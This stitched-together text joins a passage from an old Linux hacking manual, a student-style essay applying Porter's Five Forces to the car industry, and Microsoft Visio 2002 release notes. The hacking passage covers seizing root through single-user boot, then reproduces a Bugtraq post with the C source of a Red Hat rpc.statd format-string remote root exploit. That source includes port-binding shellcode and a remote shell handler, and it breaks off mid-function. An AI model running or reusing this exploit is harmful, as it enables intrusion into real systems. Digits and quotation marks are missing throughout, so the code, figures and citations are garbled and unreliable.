Now, say you do not want to create a new account, but want to change the root password so as to teach the system administrator a lesson. What do you do? Well, simply use the passwd command followed by the new password. As you are in the root shell, the root password will change to the new one that you supply.

OK, I get the point; Linux too is not 100% safe, so how can I make it safer? Well, you could password protect linux single. To do so, you have to launch your favorite editor like vi, and open /etc/LILO.conf. Now, add the following line, in a new line, after the first line

Restricted password_goes_here

(The above is Restricted followed by a space and following by the password that you choose.)

Now, save and close the editor. At the prompt then type LILO, to execute the /etc/LILO.conf file, so as to make the changes. Now, the next time, you type linux single, at the LILO prompt, you will be asked the password that you typed in the above file. So this basically acts as another barrier for anyone trying to use the techniques described in this manual, to break into your Linux box. None, of the other functioning of the linux box will be affected.

HACKING TRUTH Well, Aragon (veljkop@ptt.yu ) suggested yet another method, which I would like to mention.

1.Go to directory /etc/rc.d

.In it there should be several files if your lucky there are a bunch of files with similar names rc.1,rc....etc. these files are shell scripts which are run each time when the named runnlevel is started. These files are very much similar to autoexec.bat but even more complex you can mess with them to cause interesting results BUT be CAREFULL!). rc.1 is therefore the file for runlevel one

.Backup it in a file named rc.x (or something else)

4.Copy some other runlevel (runlevel is good) but make sure that the runlevel is multi-user.

5.Make a boot and root(for Slackware) disc (do not skip this) so if anything goes wrong you still have a

runlevel 1

Getting root Remotely

The following has been taken from Bugtraq, this exploit is supposed to get you root. However, it has not been tested or verified by me. So give me the feedback.

___________________________________________

From ron1n - shellcode@HOTMAIL.COM

Subject Redhat Linux 6.x remote root exploit

To BUGTRAQ@SECURITYFOCUS.COM

X-UIDL ad856edbbc7d8db5d468ce6eb1f600

Hi,

Included below is an exploit for the recently exposed linux rpc.statd

format string vulnerability[0]. I have tailored it towards current Redhat

Linux 6.x installations. It can easily be incorporated into attacks against

the other vulnerable Linux distributions.

I am not a security expert, but Ill offer my two cents worth this format

string issue, while drawing upon elements of straightforward buffer overflow

exploitation, is more insidious and will probably take some time to instill

itself in the minds of even security-conscious programmers. Programs like

ITS4[1], pscan[], and grep (heh!) do offer valuable assistance when trying

to isolate weak portions of code in a phase one search. However, one thing

Ive

learnt during my short time researching these things is that the complex

interaction between code and data introduces the need for a more extensive

line by line audit[].

This new problem will (if it hasnt already) spark a new wave of code

reviews

of critical applications, especially those networking daemons and privileged

programs which were given the all clear in the first sweep (although

history

shows us that a lot of programs somehow slipped through the cracks.) Someone

else sent an excellent post about the possibility of remote debugging with

these format string vulnerabilities. Once again, Im not speaking out of any

authority, but I can say that such an aid to otherwise blind exploitation

is indeed a godsend when a host is being probed by a skilled intruder.

You must understand that this particular vulnerability is much harder to

exploit than the buffer overflow vulnerabilities that youre probably

accustomed to. The problem which will bite you is that if the calculations

are not precise, statd crashes with a SIGSEGV. As youve realized by now,

brute forcing wont cut it. Also, a successful exploitation will render

subsequent attacks fruitless.

I have seen statd running on a great number of linux systems and if you can

simulate an attack against a remote system on one of your own boxes, it is

trivial to exploit that remote system. Despite the shortcoming with

the single attempt restriction, it was possible to reduce the exploitation

variables down to a SINGLE address for most attacks. The default values

for Redhat Linux 6.x work fine for me, so Im probably fussing over nothing.

Anyway, enjoy the exploit.

ron1n

shellcode@hotmail.com

Sydney, Australia

McDonalds drive-thru guy

[0] http//www.securityfocus.com/

[1] http//www.rstcorp.com/its4/

[] http//www.striker.ottawa.on.ca/~aland/pscan/

[] http//www.openbsd.org/

!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$

/

statdx

Redhat Linux 6.0/6.1/6. rpc.statd remote root exploit (IA)

by ron1n shellcode@hotmail.com

July 4, 000

Sydney, Australia

Oh you probly wont remember me

Its probly ancient history

Im one of the chosen few

Who went ahead and fell for you

$ gcc -o statdx statdx.c ; ./statdx -h

background info

---------------

rpc.statd is an ONC RPC server that implements the Network Status

Monitor RPC protocol to provide reboot notification. It is used by

the NFS file locking service (rpc.lockd) when it performs lock

recovery.

Due to a format string vulnerability in a call to syslog() within

its logging module, rpc.statd can be exploited remotely by script

kids bent on breaking into your Redhat Linux box and defacing your

website with crackpot political musings.

This is not a traditional buffer overflow vulnerability. The data

are kept within the bounds of the buffer by means of a call to

vsnprintf(). The saved return address can be overwritten indirectly

without a contiguous payload. syslog() is given, for the most part,

a user-supplied format string with no process-supplied arguments.

Our format string will, if carefully constructed, cause the process

to cull non-arbitrary addresses from the top of the stack for

sequential writes using controlled values. Exploitation requires

an executable stack on the target host -- almost invariably the

case. This problem was corrected in the nfs-utils-0.1..1 rpm.

exploit info

------------

You have one shot at this in most situations, so get it right!

If you know the port number rpc.statd is serving requests on, you

can supply the port number on the commandline to bypass the initial

portmapper query. This is very useful for hosts which are filtering

inbound connections to the portmapper. The default attack protocol

is UDP. There is a commandline option to use TCP. Apparently, the

dispatcher uses both protocols by default.

If youre only interested in exploiting a host, then you can safely

skip the following information. Youll only need a buffer address

to get started. This buffer address will either be one of my canned

ones or your own one. It must be precise, and this is where youre

likely to experience difficulties with your attacks.

[va_list][str][4][r][4][r+1][4][r+][4][r+]-----

| |

%espbuffer[104]

[%x..][%!d][%n][%!d][%n][%!d][%n][%!d][%n][sc]---

| r | r+1 | r+ | r+ |

buffer - This is the address youll need (-a and -l options)

str- Process-supplied string; 4 bytes long

4 - Duplicate dwords to satisfy the %!d specifiers and

the double %n when two successive values are equal

r - Stack position of saved eip

%x..- Wipes the va_list dword and str; by default (-w option)

%!d- Used for padding to form an aggregate overwrite value;

the exclamation mark denotes a field width. This may

or may not be present, depending on the value. An

algorithm is used to allow tricky values.

%n - Writes overwrite value to the corresponding address

sc - Nops + portbinding shellcode (port 168)

Only modify the default wipe value and the default offset value if you

know what youre doing.

An easy way to get the buffer address for simulation systems that you

have privileged access to

[term 1]# ltrace -p `pidof rpc.statd` -o foo

[term ]$ ./statdx -r 0x41414141 localhost

[term 1]# grep vsnprintf foo | head -1 | sed s/.(// |

awk -F, {print $1}

(Of course, ensure that rpc.statd is started at boot time and not from

an interactive shell, otherwise it will inherit a larger environment

and blow the accuracy of your findings.)

Ok, longwinded enough. Lets dance.

greets

------

ADM, attrition, rogues, security.is, teso

/

#include stdio.h

#include stdlib.h

#include string.h

#include errno.h

#include unistd.h

#include netdb.h

#include rpc/rpc.h

#include sys/types.h

#include sys/time.h

#include sys/socket.h

#include netinet/in.h

#define SM_PROG 10004

#define SM_VERS 1

#define SM_STAT 1

#define SM_MAXSTRLEN 104

#define max(a,b) ((a)(b)?(a)(b))

#define NOP 0x0

/

Non-ripped linux IA portbinding shellcode.

port 168 ; length 1 bytes

/

char shellcode[] =

x1xc0/ xorl %eax,%eax /

/ jmp ricochet ------------------------------------------------------- /

xebx7c/ jmp0x7c /

/ kungfu ------------------------------------------------------------ /

x5/ popl %ecx /

x8x41x10 / movl %eax,0x10(%ecx) /

/ ------------------------------------ socket(,1,0); ---------------- /

x8x41x08 / movl %eax,0x8(%ecx) /

xfexc0/ incb %al/

x8x41x04 / movl %eax,0x4(%ecx) /

x8xc/ movl %eax,%ebx /

xfexc0/ incb %al/

x8x01/ movl %eax,(%ecx) /

xb0x66/ movb $0x66,%al /

xcdx80/ int$0x80 /

/ ------------------------------------ bind(sd,&sockaddr,16); -------- /

xbx0/ movb $0x,%bl/

x8x5x0c / movl %ebx,0xc(%ecx) /

xc6x41x0ex / movb $0x,0xe(%ecx) /

xc6x41x08x10 / movb $0x10,0x8(%ecx) /

x8x4x04 / movl %ecx,0x4(%ecx) /

x80x41x04x0c / addb $0xc,0x4(%ecx) /

x88x01/ movb %al,(%ecx) /

xb0x66/ movb $0x66,%al /

xcdx80/ int$0x80 /

/ ------------------------------------ listen(sd,blah); -------------- /

xbx04/ movb $0x4,%bl/

xb0x66/ movb $0x66,%al /

xcdx80/ int$0x80 /

/ ------------------------------------ accept(sd,0,16); -------------- /

xbx05/ movb $0x5,%bl/

x0xc0/ xorb %al,%al/

x88x41x04 / movb %al,0x4(%ecx)/

xb0x66/ movb $0x66,%al /

xcdx80/ int$0x80 /

/ ------------------------------------ dup(cd,0); ------------------- /

x8xce/ movl %ecx,%esi /

x88xc/ movb %al,%bl/

x1xc/ xorl %ecx,%ecx /

xb0xf/ movb $0xf,%al /

xcdx80/ int$0x80 /

/ ------------------------------------ dup(cd,1); ------------------- /

xfexc1/ incb %cl/

xb0xf/ movb $0xf,%al /

xcdx80/ int$0x80 /

/ ------------------------------------ dup(cd,); ------------------- /

xfexc1/ incb %cl/

xb0xf/ movb $0xf,%al /

xcdx80/ int$0x80 /

/ ------------------------------------ execve(/bin/sh,argv,0); ----- /

xc7x06xfx6x6x6e/ movl $0x6e66f,(%esi)/

xc7x46x04xfx7x68x41/ movl $0x41687f,0x4(%esi) /

x0xc0/ xorb %al,%al/

x88x46x07 / movb %al,0x7(%esi)/

x8x76x0c / movl %esi,0xc(%esi) /

x8dx56x10 / leal 0x10(%esi),%edx /

x8dx4ex0c / leal 0xc(%esi),%ecx /

x8xf/ movl %esi,%ebx /

xb0x0b/ movb $0xb,%al/

xcdx80/ int$0x80 /

/ ------------------------------------ exit(blah); ------------------- /

xb0x01/ movb $0x1,%al/

xcdx80/ int$0x80 /

/ ricochet call kungfu ---------------------------------------------- /

xe8x7fxffxffxff; / call -0x81 /

enum res

{

stat_succ,

stat_fail

};

struct sm_name

{

char mon_name;

};

struct sm_stat_res

{

enum res res_stat;

int state;

};

struct type

{

int type;

char desc;

char code;

u_long bufpos;

int buflen;

int offset;

int wipe;

};

struct type types[] =

{

{0, Redhat 6. (nfs-utils-0.1.6-), shellcode, 0xbffff14, 104, 600,

},

{1, Redhat 6.1 (knfsd-1.4.7-7), shellcode, 0xbffff14, 104, 600, },

{, Redhat 6.0 (knfsd-1..-4), shellcode, 0xbffff14, 104, 600, },

{0, NULL, NULL, 0, 0, 0, 0}

};

bool_t

xdr_sm_name(XDR xdrs, struct sm_name objp)

{

if (!xdr_string(xdrs, &objp-mon_name, SM_MAXSTRLEN))

return (FALSE);

return (TRUE);

}

bool_t

xdr_res(XDR xdrs, enum res objp)

{

if (!xdr_enum(xdrs, (enum_t )objp))

return (FALSE);

return (TRUE);

}

bool_t

xdr_sm_stat_res(XDR xdrs, struct sm_stat_res objp)

{

if (!xdr_res(xdrs, &objp-res_stat))

return (FALSE);

if (!xdr_int(xdrs, &objp-state))

return (FALSE);

return (TRUE);

}

void

usage(char app)

{

int i;

fprintf(stderr, statdx by ron1n shellcode@hotmail.com);

fprintf(stderr, Usage %s [-t] [-p port] [-a addr] [-l len], app);

fprintf(stderr, [-o offset] [-w num] [-s secs] [-d type]

target);

fprintf(stderr, -tattack a tcp dispatcher [udp]);

fprintf(stderr, -prpc.statd serves requests on port [query]);

fprintf(stderr, -athe stack address of the buffer is addr);

fprintf(stderr, -lthe length of the buffer is len [104]);

fprintf(stderr, -othe offset to return to is offset [600]);

fprintf(stderr, -wthe number of dwords to wipe is num []);

fprintf(stderr, -sset timeout in seconds to secs [5]);

fprintf(stderr, -duse a hardcoded type);

fprintf(stderr, Available types);

for(i = 0; types[i].desc; i++)

fprintf(stderr, %d%s, types[i].type, types[i].desc);

exit(EXIT_FAILURE);

}

void

runshell(int sockd)

{

char buff[104];

int fmax, ret;

fd_set fds;

fmax = max(fileno(stdin), sockd) + 1;

send(sockd, cd /; ls -alF; id;, 1, 0);

for(;;)

{

FD_ZERO(&fds);

FD_SET(fileno(stdin), &fds);

FD_SET(sockd, &fds);

if(select(fmax, &fds, NULL, NULL, NULL) 0)

{

perror(select());

exit(EXIT_FAILURE);

}

if(FD_ISSET(sockd, &fds))

{

bzero(buff, sizeof buff);

if((ret = recv(sockd, buff, sizeof buff, 0)) 0)

{

perror(recv());

exit(EXIT_FAILURE);

}

if(!ret)

{

fprintf(stderr, Connection closed);

exit(EXIT_FAILURE);

}

write(fileno(stdout), buff, ret);

}

if(FD_ISSET(fileno(stdin), &fds))

{

bzero(buff, sizeof buff);

ret = read(fileno(stdin), buff, sizeof buff);

errno = 0;

if(send(sockd, buff, ret, 0) != ret)

{

if(errno) perror(send());

else fprintf(stderr, Transmission loss);

exit(EXIT_FAILURE);

}

}

}

}

void

connection(struct sockaddr_in host)

{

int sockd;

host.sin_port = htons(168);

if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) 0)

{

perror(socket());

exit(EXIT_FAILURE);

}

if(!connect(sockd, (struct sockaddr ) &host, sizeof host))

{

printf(OMG! You now have rpc.statd technique!@#$!);

runshell(sockd);

}

close(sockd);

}

char

wizardry(char sc, u_long bufpos, int buflen, int offset, int wipe)

{

int i, j, cnt, pad;

char pbyte, buff, ptr;

u_long retpos;

u_long dstpos;

while(bufpos % 4) bufpos--;

/ buflen + ebp /

retpos = bufpos + buflen + 4;

/

0x00 ==

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Daimler-Chrysler and the World Automobile Industry

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The world automobile industry had experienced near constant growth through to the mid-180's. The transition from horse carriages to automobiles brought about uncertainty over the development of the product during the industry's infant years. As the automobile evolved, demand for automobiles soared at different points in time throughout the world. However, depressed demand eventuated two decades ago after the saturated markets of North America, Europe and Japan. This consequently left industry profitability at a recession. The reasons to why such an occurrence was brought about are explained below.

Porter's Five Forces

Threat of Substitutes

The competition of substitutes has remained calm within the industry (Grant, 18). In the absence of close substitutes for a product, consumers usually will not react to price increases and switch to substitutes (Grant, 00). Consumers' reasons for demand for an automobile can differ. Fundamentally, motor vehicles serve the purpose to deliver passengers from the departing location to a particular destination. Grant (00) says, "the more complex the needs being fulfilled by the product… the lower the extent of substitution by customers on the basis of price differences". If the intent is solely transportation needs, such a need can be simply satisfied by the substitutes of public transport. On the other hand, more complex needs, such as consumers desiring a more flexible, comfortable, and personal means of transportation, decrease consumers' propensity to switch to substitutes.

Threat of Entry

New entrants in an industry intensify competition in their respective markets. However, they are usually disadvantaged in respect to competing at the competitive level (Grant, 000). Established manufacturers can hold several abilities gained from survival in the industry that entrants cannot instantly acquire, and these further create barriers to entry into the industry.

It is estimated that over four million vehicles should be produced per year to qualify as a low-cost producer in the automobile industry (Grant, 00). "Economies of scale remains an essential determinant for cost-efficient production, and that without it, high levels of flexibility alone cannot translate into world competitive production" (Husan, 17). The inability refrained most potential new entrants from entering the industry with the exception of Proton (Malaysia) and Maruti (India). Settled in protected markets with acquisition to licenses and support from its government, permits access to required technology and designs of automobiles. This enhanced their ability to produce at low-cost and reduced the distance from established manufacturers.

As a result of increased competition, established manufacturers' absolute cost advantages are important and valuable. From experience and early existence in the industry, manufacturers have acquired cost-specific knowledge to drive low-cost production. Though producing at low-cost, product differentiation throughout the market is also important.

Rivalry Between Established Firms

Competing on innovation and cost reduction, established manufacturers created a strong wave of increased competition. As a result of merges, acquisitions, and alike strategic relationships between manufacturers, of small- and medium-sized producers, the industry became more concentrated. Many manufacturers internationally expanding caused greater import activity and construction of foreign plants to accommodate for the foreign market's demand and drive for low-cost (Grant, 18) and to exploit factors that aid research and development (Kuemmerle, 1).

Competing in a sole market may not earn profitable returns; therefore manufacturers decide to participate in other markets. Manufacturers diversifying into numerous segments of the industry caused the number of competitors in national markets to substantially increase. This increase in competition was dangerous for producers who compete predominantly domestically, as they become more pressured by global rivals (Grant, 000), and are often acquired by larger manufacturers as a result, or with other alliances formed.

For its competitiveness, manufacturers standardised designs and technologies of vehicles. This led to great similarity in products between competitors, increasing the difficulty to differentiate for consumers. Inability to differentiate can increase consumers' propensity to switch brands if they are price insensitive.

The fall in industry profitability was affected by the imbalance between demand and capacity of automobiles. Excess capacity in depressed demand conditions led offerings of price reductions in attempt to disseminate costs over a larger scale of sales. Over-investment in production facilities induced greater capacity, where it grew faster than demand. Substantial exit barriers appeared due to the relative costs to free excess capacity.

Bargaining Power of Buyers

In the output market, relative economic power of buyers is dependent on their sensitivity to price and relative bargaining power. The merge of manufacturing designs and technologies inflicted a low degree of differentiation in automobiles, creating a greater tendency for consumers to switch suppliers of automobiles on the basis on price. The cost of losing a consumer to a supplier in the industry is relatively great when the number of buyers in the market is small (Grant, 00). As a result, the strength of bargaining power of buyers in markets of the industry increased, with the greater proportion of value generated from the transaction residing in the buyers.

There are additional buyers in the automobile industry other than those who consume vehicles for use. Retailers, that manufacturers distribute their products to, also act as buyers. Given that retailers are the only 'homes' of manufacturers' products and that there are merely any other accommodations to access the market, their capabilities to negotiate price and to execute specific commands have strengthened their bargaining power against suppliers.

Bargaining Power of Suppliers

Manufacturers play the role of buyers when acquiring vehicle components to produce their products from their suppliers. Manufacturers abandoned backward integration to production and tended towards the Japanese way of production. That is, manufacturers established long run relationships with a particular number of suppliers, creating symbiotic strategic alliances where there is an interdependence between car makers to control suppliers (Banerji & Sambhorya, 18). However, ultimately these suppliers were able to elevated their size and power capabilities. Technology development, being brought about by component suppliers (Grant, 18), has allowed greater power in negotiation and bargaining in their position. Powerful suppliers increasing prices decrease manufacturers profits and/or drive manufacturers to draw more attention on the suppliers rather than their own needs (Cummings & Worley, 001).

The above competitive pressures of Porter's Five Forces (Grant, 00) provide judgment on the levels of competition and profitability within the industry. Profitability levels were reduced mainly due to the intense rivalry between established manufacturers and the increased power of buyers and suppliers in the industry. Additionally, international expansion of manufacturing companies found fierce competition in national markets, threatening domestic competitors. These occurrences affect the future prospects of the automobile industry. Predictions towards this will differ depending on the time period the forecast is made upon.

Predictions on the Industry Future

It is predicted that rivalry between competitors in the industry is to continue into the future. National markets of competitors are becoming more concentrated, increasing the difficulty for individual manufacturers to capture market share. This would cause fight for market position and in affect, drive price cuts, decreasing profit margins. A firm gaining some form of competitive advantage is beneficial and important to survive and perform well in the industry. One is cost advantage. Worldwide outsourcing, many to lower-cost locations, produces lower-cost development that new entrants are incapable of and simultaneously, forms a higher barrier to tempted entrants.

Excess capacity occurred due to decreased demand and over-investments in manufacturing facilities in the industry. Potential for market growth is said to appear within the next ten years in Eastern Europe, Russia, China, India, and Latin America. Excess capacity will persist and possibly surface as a major problem if this phenomenon does not occur. Demand was also likely to drop in Japan, Southeast Asia and North America (Grant, 000). With slowing demand also caused by the durability of vehicles and the continuous innovation of designs and technologies, the control between excess capacity and demand will be difficult.

The bargaining power of both buyers and suppliers are predicted to strengthen. Manufacturers, being largely dependent on suppliers for their production efficiencies and quality, were "unconcerned about losing control over production and technology so long as they could control marketing and distribution" (Grant, 000). Furthermore, as mentioned previously, technology development occurred through suppliers. These developments enhanced manufacturers' production efforts and therefore, they have seemed to delegate certain decision-making to suppliers.

The foreseeing of buyers also having greater bargaining power originates from minimal product differentiation of manufacturers' vehicles. Similarities in products force manufacturers to apply other marketing strategies to appeal to its market. Buyers in society, compared to many years ago, are exposed to more information about products. Educated buyers learn to expect certain features as standard in the product and, furthermore, their expectations towards the product also rise (Czinkota, 000). Manufacturers strive to meet buyer expectations and therefore, lose certain power to their consumers.

Key Success Factors of the Industry

Despite the fact that overall profitability in the automobile industry has declined, it does not signify that all individual manufacturers are performing equally not well. There are reasons to why some manufacturers are performing better than others in the same industry. Some manufacturers may have access to certain resources and perform activities in such a way that permits them to exceed competitors. These elements that drive their performance are sometimes known as key success factors, factors in the market environment that determine a company's ability to survive and thrive in that market (Grant, 00). They are key success factors when manufacturers end up supplying the product of customers' and when they can survive competition. This proceeds on to identification of key success factors of manufacturers at competitive positions in the industry.

The ability to be a low-cost manufacturer in the intense market creates competitive advantage. Producing at low cost requires manufacturers to attend to several different aspects of an automobile manufacturer's value chain the activities of the manufacturer's separated into a sequential chain (Grant, 00). Segments of the chain, from supplies of components and materials to the dealer and customer support, allow closer discussion of cost-reduction in the industry.

Many manufacturers now acquire their components by means of outsourcing throughout the world. Not only does this induce lower cost to manufacturers, but it also offers opportunities for them to focus, and possibly specialise, in fewer activities in the value chain. Bramorski et al. (000) notes that "Manufacturers no longer compete based entirely on their own strengths…Instead, they compete based on strengths of the entire value chain involving their own organization and their suppliers". For instance, manufacturers concentrate on specialisation in new product development to produce better vehicles in attempt for greater market share.

The adoption of Just-in-time (JIT) manufacturing systems reduces inventory holdings and hence, reduces the costs incurred in the process. Applying such a system lowers carrying costs and investments in inventory. Each is retrieved and pulled from downstream when and only when it is required to replenish vacancies upstream. JIT systems enforce long-term relationships with few suppliers. Consequently, costs are furthered reduced by trust and confidence that suppliers will deliver defect-free, quality components (Davis, Aquilano & Chase, 1).

Mergers, joint ventures and alliances are also seen as a factor consolidating the competitive advantage to success in the industry (Passernard & Kleiner, 000). Such relationships permit exploitation of companies' core competences (Wild, Wild & Han, 001). By doing so, manufacturers reduce research and development (R&D), production and/or distribution costs. Manufacturers have also used this strategic move to get a foothold in a new geographical market. A successful example is a joint venture between Japan's Suzuki Motor Corporation and the government-supported Maruti in India (Grant, 000). Their initial production of small-engine cars extended to light trucks and now, the manufacturer from the Maruti-Suzuki joint venture is successfully the leader in its market.

Manufacturers grasp the essence of the approach to low-cost production, but put considerable investment into new product development (NPD). NPD has transpired into a very important and valuable capability that a manufacturer can possess in the last decade (Grant, 000). This enable manufacturers to differentiate their products, and in a market where products are growing increasingly similar, NPD is a critical factor to success. For instance, Japanese manufacturers have been successful with NPD, and by the 10's, their advantage over other manufacturers was shorter NPD times in the industry (Grant, 000). Japanese manufacturers attained higher positions within their markets with the access to certain resources and capabilities.

To survive and succeed in the near future, manufacturers must be able to access the above crucial resources and capabilities. That is, low-cost production, the foresight of possible partnerships to exploit opportunities, and NPD, pursuing product differentiation. Successful firms of the industry have thrived in these respects and, simultaneously, distanced away from competition that were not yet able to obtain such skills.

Regardless of the market that manufacturing firms compete in, the most successful in the industry will be those who are able to supply products that meet customer expectations, who understand the drivers of performance success and acquire and exploit these tools to compete. Those who are also able to internationally expand into national markets and compete at a global level see potential for striving in the industry. National markets are becoming more concentrated and competition is continuously increasing. Despite the fact that this might drive down profitability levels, manufacturers seek to survive before they can succeed. Manufacturers only focusing on one geographical market in the industry lack the international diversity and will be beaten by those expanding internationally into their target market (Grant, 000).

In understanding this, it is predicted that the established, experienced Japanese firms, such as Toyota, will continue to come through in the industry. Know-how to low production cost, superior quality and shorter production times is a primary competitive advantage, leading to more efficient competitiveness in their market(s). U.S. and European manufacturers acknowledged the effectiveness of such components and learned to adapt to these practices (Grant, 000). These firms, such as the new Daimler-Chrysler, are also recognised as potential successes. Those manufacturing firms who acknowledge these elements and incorporate these into their practices will have a brighter outlook in the near-future years.

In summary, the decline in profitability of the automobile industry was brought about by several structural trends. The fierce competition between rivals and internationalisation caused exits and strategic relationships to form in order to survive. The increasing power of buyers and suppliers in the industry oppositely weakened the strength of manufacturers and that product differentiation had become an important issue in the markets. These phenomena are believed to persist, to a certain degree, into the future, bypassing the possibility that the Daimler-Chrysler merge may induce a phase of consolidation in the industry (Grant, 000). Industry movement is dependent on demand in the markets, and if demand persists downwards, the ability to control excess capacity will be increasingly difficult. However, the future of the automobile industry cannot be guaranteed solely on the basis of past trends. Unexpected events can occur and impact the industry in unpredictable ways.

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Version 2002

Release Notes

This file contains important, late-breaking information about Microsoft Visio.

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Contents

Installation Issues

Documentation Issues

Printing

Graphics Filters

CAD Drawings in Visio

Find Shape

Issues in Visio Professional:

Process Engineering Solution

Building Engineering Solution

Web Diagram Solution

Network Solution

Software Solution

Database Solution

Installation Issues

Installing on a computer with previous versions of Visio

Under most circumstances, Microsoft Visio 2002 will install and run normally on a computer that has previous versions of Visio installed (excluding Visio 2002 beta versions). However, for optimal performance in Visio 2002, we recommend that you uninstall previous versions during Microsoft Visio Setup.

Uninstalling previous versions

Microsoft Visio Setup automatically finds previous versions of Visio installed on your computer and allows you to remove them during the setup process. We recommend that you allow the setup program to remove your previous versions of Visio.

Issues with keeping previous versions: Visio 2000 SR1

If you have a Visio 2000 SR1 product installed on your computer, and you choose to keep this previous version when you install Visio 2002, the Microsoft Visio shortcut on the Start menu will point to Visio 2002. See Windows Help for instructions to create a new Start menu shortcut for Visio 2000 SR1.

Note: The Microsoft Visio shortcut on the Start menu will always point to the Visio 2000 SR1 or Visio 2002 product that was most recently installed or repaired.

If you have a Visio 2000 SR1 product installed on your computer, and you choose to keep this previous version when you install Visio 2002, you may experience minor difficulty running Visio 2002 later on. If you uninstall Visio 2000 SR1 at any time after installing Visio 2002, Visio 2002 will run only in reduced functionality mode. To correct the problem on Windows 98, NT 4.0 and ME, you must manually start the repair program in Microsoft Visio Setup, using the steps below. On Windows 2000 and Windows XP, the repair program will start automatically when you run Visio. In this case, wait for auto-repair to complete, then Visio will run normally.

To start a Visio repair in Windows 98, ME, or NT, do the following:

1.On the Windows Start menu, point to Settings, click Control Panel, and then double-click Add/Remove Programs.

2.In the list of currently installed programs, click Microsoft Visio 2002.

3.Click Add/Remove. Microsoft Visio Maintenance Mode will start.

4.Click Repair, and then click Next.

5.Follow any further instructions on the screen.

Visio should function normally from this point on.

Note: If you originally installed Visio 2002 from a CD, have the CD available so that the repair process can complete successfully.

Running Visio 2002 with previous versions of Visio

If you run the previous version of Visio, and then subsequently run Visio 2002, Visio 2002 will auto-repair. Wait for auto-repair to complete, and Visio will run normally from this point on.

Note: If you originally installed Visio 2002 from a CD, have the CD available so that the auto-repair process can complete successfully.

Installing on a computer with Microsoft Office 2000

Microsoft Visio should install and run normally on a computer that has Microsoft Office 2000 installed. However, if you subsequently uninstall Visio, Office 2000 and Office family applications (such as Microsoft Project) may temporarily not function correctly or may attempt to auto-repair the next time you run them.

Note: If you originally installed Office 2000 from a CD, have the CD available so that the auto-repair process can complete successfully.

Microsoft Project 2000, Word 2000, and Excel 2000

If you uninstall Visio 2002 and subsequently run Microsoft Project, Word, or Excel you may see an error message requesting that you insert your Office 2000 or Microsoft Project 2000 CD. Insert the requested CD into the CD drive, and Office 2000 setup will complete the auto-repair. All Office 2000 applications should function correctly from this point on.

Outlook 2000

If you uninstall Visio 2002 and subsequently run Microsoft Outlook, Outlook may fail to run. If this occurs, you can fix the error in one of the following two ways:

·Before attempting to run Outlook again, run either Microsoft Project, Word, or Excel. Office 2000 setup will auto-repair the Office installation, as described previously in Microsoft Project 2000, Word 2000, and Excel 2000. All Office 2000 applications should function normally from this point on.

·If the above method does not correct the problem, do the following:

1.On the Windows Start menu, point to Settings, click Control Panel, and then double-click Add/Remove Programs.

2.In the list of currently installed programs, click Microsoft Office 2000.

3.In Windows 2000 or XP, click Change. In Windows 98, ME, or NT, click Add/Remove. Microsoft Office Maintenance Mode will start.

4.Click the Repair Office button.

5.Click Repair Errors In My Office Installation, and then click Finish.

6.Follow any further instructions on the screen.

All Office 2000 applications should function normally from this point on.

Installing on a computer with a previous Visio 2002 beta or Office XP ("Office 10") beta

Uninstall betas

Microsoft Visio will not function correctly if it is installed on the same computer as an earlier beta version of Visio. Therefore, the Visio setup program will automatically uninstall any Visio 2002 betas on your computer before installing Visio 2002. You may also manually uninstall your Visio beta before installing Visio 2002.

Microsoft Visio may not function correctly when installed on the same computer as a Microsoft Office or Office XP beta, or may cause the Office beta to stop functioning. The Visio setup program does not uninstall the Office betas automatically. Before installing Visio, uninstall any Office betas on your computer.

Uninstall previous system updates

On Windows 98 and Windows NT4.0, the Visio and Office beta setups may have installed a package of system upgrades to your computer. These upgrades must be uninstalled before proceeding with the Visio 2002 setup.

To remove previous system upgrades, do the following:

1.On the Windows Start menu, point to Settings, click Control Panel, and then double-click Add/Remove Programs.

2.In the list of currently installed programs, look for one of the following entries:

·Microsoft Office System Files Update Beta 1

·Microsoft Office System Files Update Beta 2

·Microsoft Office 2002 System Files Update

3.For each entry above that you find, click on the entry, and then click Remove. Maintenance Mode for the System Update will start.

4. Choose Uninstall and then click Next

5. Follow any further instructions on the screen.

Install path limitation

Microsoft Visio will not install to a location whose path name is longer than 120 characters. For example, the default install location "C:Program FilesMicrosoft OfficeVisio" contains 39 characters. If you choose not to install to the default location, and you type more than 120 characters into the Installation Location dialog box, Visio Setup will display an error message.

Installing to a UNC network path

If you are installing Visio on a computer running Windows NT 4.0, setup will fail if you install to a network location using a UNC path. To install to the network location, assign the UNC path to a drive letter, and then choose that drive letter as the install location in Visio Setup.

Running Visio from a UNC network path

If you install Visio to run from a network location, you may experience difficulty running Visio from a client computer. To ensure that Visio runs correctly, observe the following:

Do not install Visio to the root level of a network share. For example, for a server and share name called VisioServerVisioShare, do not install Visio to the path VisioServerVisioShare[Visio Installation]. Instead, install Visio at least one folder deeper on the share, for example, VisioServerVisioShareVisioFolder[Visio Installation].

Similarly, when sharing out the location of the Visio installation on a server, do not share the Visio installation folder itself. Instead, share the folder at least one level higher in the folder tree. For example, if the Visio installation you want to share is located on the path C:Program FilesShared ApplicationsVisio on your server, do not share the "Visio" folder. Instead, share a folder higher up the folder tree, such as "Shared Applications" or "Program Files."

The Database Wizard setup option

If you click Customize in Setup (rather than Install Now!) one of the custom setup options listed is Database Wizard. This option controls only the sample files associated with the Database Wizard, not the Database Wizard itself. The Database Wizard is installed all the time, regardless of whether or not this option is selected.

Documentation Issues

The title of the Developing Visio Solutions guide is now Developing Microsoft Visio Solutions. Content that refers to this guide in the Microsoft Visio Standard User's Guide, Microsoft Visio Professional User's Guide, Microsoft Visio Help, and Microsoft Visio Developer Reference does not currently reflect this change. The Developing Microsoft Visio Solutions guide is available from Microsoft Press and the MSDN Web site.

Installing and then uninstalling either Visio Enterprise Network Tools, Visual Studio Enterprise Edition, or Visual Studio Architect will leave shared Help files (CHM, AW, and HLP files) from these products in the Visio Help folder. To clean up the Help system, uninstall and then reinstall Visio.

Printing

With some PCL printers, notably the HP LaserJet 4 and 5 series printers, text that is behind a shape with an opaque fill will be visible on the printed page.

Graphics Filters

Following are current issues with these graphics filters:

Adobe Illustrator File (*.ai)

Computer Graphics Metafile (*.cgm)

Encapsulated Postscript File (*.eps)

Postscript File (*.ps)

Macintosh PICT Format (*.pct)

IGES Drawing File Format (*.igs)

Zsoft PC Paintbrush Bitmap (*.pcx)

